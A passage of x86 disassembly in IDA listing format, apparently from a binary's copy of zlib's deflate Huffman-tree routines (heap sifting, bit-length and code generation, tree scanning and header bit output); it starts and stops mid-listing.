[ebp+arg_0] mov ecx, [ebp+arg_0] mov ecx, [ecx+0B58h] mov [eax+edx*4+0B54h], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C29ED add esp, 8 mov ecx, [ebp+arg_0] add ecx, 0B34h push ecx mov edx, [ebp+var_18] push edx mov eax, [ebp+var_10] push eax call sub_4C2D20 add esp, 0Ch pop esi mov esp, ebp pop ebp retn sub_4C24AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C284E proc near ; CODE XREF: sub_4C24AE+1B0p ; sub_4C24AE+207p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+0B54h] mov [ebp+var_4], edx mov eax, [ebp+arg_8] shl eax, 1 mov [ebp+var_8], eax loc_4C286E: ; CODE XREF: sub_4C284E+184j mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+1448h] jg loc_4C29D7 mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+1448h] jge loc_4C2931 mov edx, [ebp+var_8] mov eax, [ebp+arg_0] mov ecx, [eax+edx*4+0B58h] mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+ecx*4] mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov ecx, [edx+ecx*4+0B54h] mov edx, [ebp+arg_4] xor esi, esi mov si, [edx+ecx*4] cmp eax, esi jl short loc_4C2928 mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+0B58h] mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+edx*4] mov edx, [ebp+var_8] mov eax, [ebp+arg_0] mov edx, [eax+edx*4+0B54h] mov eax, [ebp+arg_4] xor esi, esi mov si, [eax+edx*4] cmp ecx, esi jnz short loc_4C2931 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+0B58h] mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx+eax+1450h] mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0B54h] mov ecx, [ebp+arg_0] xor ebx, ebx mov bl, [ecx+eax+1450h] cmp edx, ebx jg short loc_4C2931 loc_4C2928: ; CODE XREF: sub_4C284E+72j mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_4C2931: ; CODE XREF: sub_4C284E+3Ej ; sub_4C284E+A2j ... mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] xor edx, edx mov dx, [ecx+eax*4] mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0B54h] mov ecx, [ebp+arg_4] xor esi, esi mov si, [ecx+eax*4] cmp edx, esi jl short loc_4C29A8 mov edx, [ebp+var_4] mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+edx*4] mov edx, [ebp+var_8] mov eax, [ebp+arg_0] mov edx, [eax+edx*4+0B54h] mov eax, [ebp+arg_4] xor esi, esi mov si, [eax+edx*4] cmp ecx, esi jnz short loc_4C29AA mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] xor edx, edx mov dl, [ecx+1450h] mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0B54h] mov ecx, [ebp+arg_0] xor ebx, ebx mov bl, [ecx+eax+1450h] cmp edx, ebx jg short loc_4C29AA loc_4C29A8: ; CODE XREF: sub_4C284E+107j jmp short loc_4C29D7 ; --------------------------------------------------------------------------- loc_4C29AA: ; CODE XREF: sub_4C284E+12Dj ; sub_4C284E+158j mov edx, [ebp+arg_8] mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov esi, [ebp+arg_0] mov ecx, [esi+ecx*4+0B54h] mov [eax+edx*4+0B54h], ecx mov edx, [ebp+var_8] mov [ebp+arg_8], edx mov eax, [ebp+var_8] shl eax, 1 mov [ebp+var_8], eax jmp loc_4C286E ; --------------------------------------------------------------------------- loc_4C29D7: ; CODE XREF: sub_4C284E+2Cj ; sub_4C284E:loc_4C29A8j mov ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [edx+ecx*4+0B54h], eax pop esi pop ebx mov esp, ebp pop ebp retn sub_4C284E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C29ED proc near ; CODE XREF: sub_4C24AE+379p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 34h push esi mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov eax, [edx+4] mov [ebp+var_34], eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov eax, [edx+4] mov [ebp+var_14], eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov eax, [edx+8] mov [ebp+var_2C], eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov eax, [edx+10h] mov [ebp+var_8], eax mov [ebp+var_C], 0 mov [ebp+var_18], 0 jmp short loc_4C2A4D ; --------------------------------------------------------------------------- loc_4C2A44: ; CODE XREF: sub_4C29ED+76j mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx loc_4C2A4D: ; CODE XREF: sub_4C29ED+55j cmp [ebp+var_18], 0Fh jg short loc_4C2A65 mov edx, [ebp+var_18] mov eax, [ebp+arg_0] mov word ptr [eax+edx*2+0B34h], 0 jmp short loc_4C2A44 ; --------------------------------------------------------------------------- loc_4C2A65: ; CODE XREF: sub_4C29ED+64j mov ecx, [ebp+arg_0] mov edx, [ecx+144Ch] mov eax, [ebp+arg_0] mov ecx, [eax+edx*4+0B54h] mov edx, [ebp+var_10] mov word ptr [edx+ecx*4+2], 0 mov eax, [ebp+arg_0] mov ecx, [eax+144Ch] add ecx, 1 mov [ebp+var_20], ecx jmp short loc_4C2A9C ; --------------------------------------------------------------------------- loc_4C2A93: ; CODE XREF: sub_4C29ED+117j ; sub_4C29ED:loc_4C2BACj mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_4C2A9C: ; CODE XREF: sub_4C29ED+A4j cmp [ebp+var_20], 23Dh jge loc_4C2BB1 mov eax, [ebp+var_20] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+0B54h] mov [ebp+var_30], edx mov eax, [ebp+var_30] mov ecx, [ebp+var_10] xor edx, edx mov dx, [ecx+eax*4+2] mov eax, [ebp+var_10] xor ecx, ecx mov cx, [eax+edx*4+2] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+var_18] cmp edx, [ebp+var_8] jle short loc_4C2AED mov eax, [ebp+var_8] mov [ebp+var_18], eax mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_4C2AED: ; CODE XREF: sub_4C29ED+EFj mov edx, [ebp+var_30] mov eax, [ebp+var_10] mov cx, word ptr [ebp+var_18] mov [eax+edx*4+2], cx mov edx, [ebp+var_30] cmp edx, [ebp+var_34] jle short loc_4C2B06 jmp short loc_4C2A93 ; --------------------------------------------------------------------------- loc_4C2B06: ; CODE XREF: sub_4C29ED+115j mov eax, [ebp+var_18] mov ecx, [ebp+arg_0] mov dx, [ecx+eax*2+0B34h] add dx, 1 mov eax, [ebp+var_18] mov ecx, [ebp+arg_0] mov [ecx+eax*2+0B34h], dx mov [ebp+var_24], 0 mov edx, [ebp+var_30] cmp edx, [ebp+var_2C] jl short loc_4C2B44 mov eax, [ebp+var_30] sub eax, [ebp+var_2C] mov ecx, [ebp+var_14] mov edx, [ecx+eax*4] mov [ebp+var_24], edx loc_4C2B44: ; CODE XREF: sub_4C29ED+146j mov eax, [ebp+var_30] mov ecx, [ebp+var_10] mov dx, [ecx+eax*4] mov word ptr [ebp+var_1C], dx mov eax, [ebp+var_1C] and eax, 0FFFFh mov ecx, [ebp+var_18] add ecx, [ebp+var_24] imul eax, ecx mov edx, [ebp+arg_0] mov ecx, [edx+16A0h] add ecx, eax mov edx, [ebp+arg_0] mov [edx+16A0h], ecx cmp [ebp+var_4], 0 jz short loc_4C2BAC mov eax, [ebp+var_1C] and eax, 0FFFFh mov ecx, [ebp+var_30] mov edx, [ebp+var_4] xor esi, esi mov si, [edx+ecx*4+2] add esi, [ebp+var_24] imul eax, esi mov ecx, [ebp+arg_0] mov edx, [ecx+16A4h] add edx, eax mov eax, [ebp+arg_0] mov [eax+16A4h], edx loc_4C2BAC: ; CODE XREF: sub_4C29ED+18Ej jmp loc_4C2A93 ; --------------------------------------------------------------------------- loc_4C2BB1: ; CODE XREF: sub_4C29ED+B6j cmp [ebp+var_C], 0 jnz short loc_4C2BBC jmp loc_4C2D1B ; --------------------------------------------------------------------------- loc_4C2BBC: ; CODE XREF: sub_4C29ED+1C8j ; sub_4C29ED+264j mov ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_18], ecx loc_4C2BC5: ; CODE XREF: sub_4C29ED+1F5j mov edx, [ebp+var_18] mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+edx*2+0B34h] test ecx, ecx jnz short loc_4C2BE4 mov edx, [ebp+var_18] sub edx, 1 mov [ebp+var_18], edx jmp short loc_4C2BC5 ; --------------------------------------------------------------------------- loc_4C2BE4: ; CODE XREF: sub_4C29ED+1EAj mov eax, [ebp+var_18] mov ecx, [ebp+arg_0] mov dx, [ecx+eax*2+0B34h] sub dx, 1 mov eax, [ebp+var_18] mov ecx, [ebp+arg_0] mov [ecx+eax*2+0B34h], dx mov edx, [ebp+var_18] mov eax, [ebp+arg_0] mov cx, [eax+edx*2+0B36h] add cx, 2 mov edx, [ebp+var_18] mov eax, [ebp+arg_0] mov [eax+edx*2+0B36h], cx mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov ax, [edx+ecx*2+0B34h] sub ax, 1 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov [edx+ecx*2+0B34h], ax mov eax, [ebp+var_C] sub eax, 2 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jg loc_4C2BBC mov ecx, [ebp+var_8] mov [ebp+var_18], ecx jmp short loc_4C2C68 ; --------------------------------------------------------------------------- loc_4C2C5F: ; CODE XREF: sub_4C29ED:loc_4C2D16j mov edx, [ebp+var_18] sub edx, 1 mov [ebp+var_18], edx loc_4C2C68: ; CODE XREF: sub_4C29ED+270j cmp [ebp+var_18], 0 jz loc_4C2D1B mov eax, [ebp+var_18] mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+eax*2+0B34h] mov [ebp+var_30], edx loc_4C2C85: ; CODE XREF: sub_4C29ED+2C3j ; sub_4C29ED+324j cmp [ebp+var_30], 0 jz loc_4C2D16 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+0B54h] mov [ebp+var_28], eax mov ecx, [ebp+var_28] cmp ecx, [ebp+var_34] jle short loc_4C2CB2 jmp short loc_4C2C85 ; --------------------------------------------------------------------------- loc_4C2CB2: ; CODE XREF: sub_4C29ED+2C1j mov edx, [ebp+var_28] mov eax, [ebp+var_10] xor ecx, ecx mov cx, [eax+edx*4+2] cmp ecx, [ebp+var_18] jz short loc_4C2D08 mov edx, [ebp+var_28] mov eax, [ebp+var_10] xor ecx, ecx mov cx, [eax+edx*4+2] mov edx, [ebp+var_18] sub edx, ecx mov eax, [ebp+var_28] mov ecx, [ebp+var_10] xor esi, esi mov si, [ecx+eax*4] imul edx, esi mov eax, [ebp+arg_0] mov ecx, [eax+16A0h] add ecx, edx mov edx, [ebp+arg_0] mov [edx+16A0h], ecx mov eax, [ebp+var_28] mov ecx, [ebp+var_10] mov dx, word ptr [ebp+var_18] mov [ecx+eax*4+2], dx loc_4C2D08: ; CODE XREF: sub_4C29ED+2D5j mov eax, [ebp+var_30] sub eax, 1 mov [ebp+var_30], eax jmp loc_4C2C85 ; --------------------------------------------------------------------------- loc_4C2D16: ; CODE XREF: sub_4C29ED+29Cj jmp loc_4C2C5F ; --------------------------------------------------------------------------- loc_4C2D1B: ; CODE XREF: sub_4C29ED+1CAj ; sub_4C29ED+27Fj pop esi mov esp, ebp pop ebp retn sub_4C29ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C2D20 proc near ; CODE XREF: sub_4C24AE+393p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = word ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 34h push esi mov word ptr [ebp+var_28], 0 mov [ebp+var_4], 1 jmp short loc_4C2D3F ; --------------------------------------------------------------------------- loc_4C2D36: ; CODE XREF: sub_4C2D20+4Fj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4C2D3F: ; CODE XREF: sub_4C2D20+14j cmp [ebp+var_4], 0Fh jg short loc_4C2D71 mov ecx, [ebp+var_28] and ecx, 0FFFFh mov edx, [ebp+var_4] mov eax, [ebp+arg_8] xor esi, esi mov si, [eax+edx*2-2] add ecx, esi shl ecx, 1 mov word ptr [ebp+var_28], cx mov ecx, [ebp+var_4] mov dx, word ptr [ebp+var_28] mov [ebp+ecx*2+var_24], dx jmp short loc_4C2D36 ; --------------------------------------------------------------------------- loc_4C2D71: ; CODE XREF: sub_4C2D20+23j mov [ebp+var_2C], 0 jmp short loc_4C2D83 ; --------------------------------------------------------------------------- loc_4C2D7A: ; CODE XREF: sub_4C2D20+81j ; sub_4C2D20+BEj mov eax, [ebp+var_2C] add eax, 1 mov [ebp+var_2C], eax loc_4C2D83: ; CODE XREF: sub_4C2D20+58j mov ecx, [ebp+var_2C] cmp ecx, [ebp+arg_4] jg short loc_4C2DE0 mov edx, [ebp+var_2C] mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+edx*4+2] mov [ebp+var_30], ecx cmp [ebp+var_30], 0 jnz short loc_4C2DA3 jmp short loc_4C2D7A ; --------------------------------------------------------------------------- loc_4C2DA3: ; CODE XREF: sub_4C2D20+7Fj mov edx, [ebp+var_30] push edx mov eax, [ebp+var_30] xor ecx, ecx mov cx, [ebp+eax*2+var_24] mov [ebp+var_34], ecx mov edx, [ebp+var_34] push edx mov eax, [ebp+var_30] mov cx, [ebp+eax*2+var_24] add cx, 1 mov edx, [ebp+var_30] mov [ebp+edx*2+var_24], cx call sub_4C4A5C add esp, 8 mov ecx, [ebp+var_2C] mov edx, [ebp+arg_0] mov [edx+ecx*4], ax jmp short loc_4C2D7A ; --------------------------------------------------------------------------- loc_4C2DE0: ; CODE XREF: sub_4C2D20+69j pop esi mov esp, ebp pop ebp retn sub_4C2D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C2DE5 proc near ; CODE XREF: sub_4C20F2+62p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+0B14h] push ecx mov edx, [ebp+arg_0] add edx, 8Ch push edx mov eax, [ebp+arg_0] push eax call sub_4C2E9C add esp, 0Ch mov ecx, [ebp+arg_0] mov edx, [ecx+0B20h] push edx mov eax, [ebp+arg_0] add eax, 980h push eax mov ecx, [ebp+arg_0] push ecx call sub_4C2E9C add esp, 0Ch mov edx, [ebp+arg_0] add edx, 0B28h push edx mov eax, [ebp+arg_0] push eax call sub_4C24AE add esp, 8 mov [ebp+var_4], 12h jmp short loc_4C2E50 ; --------------------------------------------------------------------------- loc_4C2E47: ; CODE XREF: sub_4C2DE5:loc_4C2E74j mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4C2E50: ; CODE XREF: sub_4C2DE5+60j cmp [ebp+var_4], 3 jl short loc_4C2E76 mov edx, [ebp+var_4] xor eax, eax mov al, byte_4F2594[edx] mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+eax*4+0A76h] test edx, edx jz short loc_4C2E74 jmp short loc_4C2E76 ; --------------------------------------------------------------------------- loc_4C2E74: ; CODE XREF: sub_4C2DE5+8Bj jmp short loc_4C2E47 ; --------------------------------------------------------------------------- loc_4C2E76: ; CODE XREF: sub_4C2DE5+6Fj ; sub_4C2DE5+8Dj mov eax, [ebp+var_4] add eax, 1 imul eax, 3 mov ecx, [ebp+arg_0] mov edx, [ecx+16A0h] lea eax, [edx+eax+0Eh] mov ecx, [ebp+arg_0] mov [ecx+16A0h], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4C2DE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C2E9C proc near ; CODE XREF: sub_4C2DE5+1Cp ; sub_4C2DE5+3Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_18], 0FFFFFFFFh mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+2] mov [ebp+var_8], ecx mov [ebp+var_4], 0 mov [ebp+var_C], 7 mov [ebp+var_10], 4 cmp [ebp+var_8], 0 jnz short loc_4C2EDE mov [ebp+var_C], 8Ah mov [ebp+var_10], 3 loc_4C2EDE: ; CODE XREF: sub_4C2E9C+32j mov edx, [ebp+arg_8] mov eax, [ebp+arg_4] mov word ptr [eax+edx*4+6], 0FFFFh mov [ebp+var_1C], 0 jmp short loc_4C2EFD ; --------------------------------------------------------------------------- loc_4C2EF4: ; CODE XREF: sub_4C2E9C+9Cj ; sub_4C2E9C:loc_4C3030j mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_4C2EFD: ; CODE XREF: sub_4C2E9C+56j mov edx, [ebp+var_1C] cmp edx, [ebp+arg_8] jg loc_4C3035 mov eax, [ebp+var_8] mov [ebp+var_14], eax mov ecx, [ebp+var_1C] mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+ecx*4+6] mov [ebp+var_8], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp edx, [ebp+var_C] jge short loc_4C2F3A mov eax, [ebp+var_14] cmp eax, [ebp+var_8] jnz short loc_4C2F3A jmp short loc_4C2EF4 ; --------------------------------------------------------------------------- loc_4C2F3A: ; CODE XREF: sub_4C2E9C+92j ; sub_4C2E9C+9Aj mov ecx, [ebp+var_4] cmp ecx, [ebp+var_10] jge short loc_4C2F67 mov edx, [ebp+var_14] mov eax, [ebp+arg_0] mov cx, [eax+edx*4+0A74h] add cx, word ptr [ebp+var_4] mov edx, [ebp+var_14] mov eax, [ebp+arg_0] mov [eax+edx*4+0A74h], cx jmp loc_4C2FE7 ; --------------------------------------------------------------------------- loc_4C2F67: ; CODE XREF: sub_4C2E9C+A4j cmp [ebp+var_14], 0 jz short loc_4C2FAF mov ecx, [ebp+var_14] cmp ecx, [ebp+var_18] jz short loc_4C2F95 mov edx, [ebp+var_14] mov eax, [ebp+arg_0] mov cx, [eax+edx*4+0A74h] add cx, 1 mov edx, [ebp+var_14] mov eax, [ebp+arg_0] mov [eax+edx*4+0A74h], cx loc_4C2F95: ; CODE XREF: sub_4C2E9C+D7j mov ecx, [ebp+arg_0] mov dx, [ecx+0AB4h] add dx, 1 mov eax, [ebp+arg_0] mov [eax+0AB4h], dx jmp short loc_4C2FE7 ; --------------------------------------------------------------------------- loc_4C2FAF: ; CODE XREF: sub_4C2E9C+CFj cmp [ebp+var_4], 0Ah jg short loc_4C2FCF mov ecx, [ebp+arg_0] mov dx, [ecx+0AB8h] add dx, 1 mov eax, [ebp+arg_0] mov [eax+0AB8h], dx jmp short loc_4C2FE7 ; --------------------------------------------------------------------------- loc_4C2FCF: ; CODE XREF: sub_4C2E9C+117j mov ecx, [ebp+arg_0] mov dx, [ecx+0ABCh] add dx, 1 mov eax, [ebp+arg_0] mov [eax+0ABCh], dx loc_4C2FE7: ; CODE XREF: sub_4C2E9C+C6j ; sub_4C2E9C+111j ... mov [ebp+var_4], 0 mov ecx, [ebp+var_14] mov [ebp+var_18], ecx cmp [ebp+var_8], 0 jnz short loc_4C300A mov [ebp+var_C], 8Ah mov [ebp+var_10], 3 jmp short loc_4C3030 ; --------------------------------------------------------------------------- loc_4C300A: ; CODE XREF: sub_4C2E9C+15Cj mov edx, [ebp+var_14] cmp edx, [ebp+var_8] jnz short loc_4C3022 mov [ebp+var_C], 6 mov [ebp+var_10], 3 jmp short loc_4C3030 ; --------------------------------------------------------------------------- loc_4C3022: ; CODE XREF: sub_4C2E9C+174j mov [ebp+var_C], 7 mov [ebp+var_10], 4 loc_4C3030: ; CODE XREF: sub_4C2E9C+16Cj ; sub_4C2E9C+184j jmp loc_4C2EF4 ; --------------------------------------------------------------------------- loc_4C3035: ; CODE XREF: sub_4C2E9C+67j mov esp, ebp pop ebp retn sub_4C2E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C3039 proc near ; CODE XREF: sub_4C20F2+373p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov [ebp+var_8], 5 mov eax, 10h sub eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp [ecx+16B4h], eax jle loc_4C312A mov edx, [ebp+arg_4] sub edx, 101h mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov edx, [ebp+var_C] mov ecx, [eax+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_C] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_8] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C316A ; --------------------------------------------------------------------------- loc_4C312A: ; CODE XREF: sub_4C3039+1Ej mov edx, [ebp+arg_4] sub edx, 101h mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C316A: ; CODE XREF: sub_4C3039+EFj mov [ebp+var_10], 5 mov edx, 10h sub edx, [ebp+var_10] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C3251 mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_14] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_10] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C328E ; --------------------------------------------------------------------------- loc_4C3251: ; CODE XREF: sub_4C3039+149j mov edx, [ebp+arg_8] sub edx, 1 mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C328E: ; CODE XREF: sub_4C3039+216j mov [ebp+var_18], 4 mov edx, 10h sub edx, [ebp+var_18] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C3375 mov ecx, [ebp+arg_C] sub ecx, 4 mov [ebp+var_1C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_1C] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_1C] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_18] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C33B2 ; --------------------------------------------------------------------------- loc_4C3375: ; CODE XREF: sub_4C3039+26Dj mov edx, [ebp+arg_C] sub edx, 4 mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_18] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C33B2: ; CODE XREF: sub_4C3039+33Aj mov [ebp+var_4], 0 jmp short loc_4C33C4 ; --------------------------------------------------------------------------- loc_4C33BB: ; CODE XREF: sub_4C3039:loc_4C351Bj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4C33C4: ; CODE XREF: sub_4C3039+380j mov eax, [ebp+var_4] cmp eax, [ebp+arg_C] jge loc_4C3520 mov [ebp+var_20], 3 mov ecx, 10h sub ecx, [ebp+var_20] mov edx, [ebp+arg_0] cmp [edx+16B4h], ecx jle loc_4C34CA mov eax, [ebp+var_4] xor ecx, ecx mov cl, byte_4F2594[eax] mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+ecx*4+0A76h] mov [ebp+var_24], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov 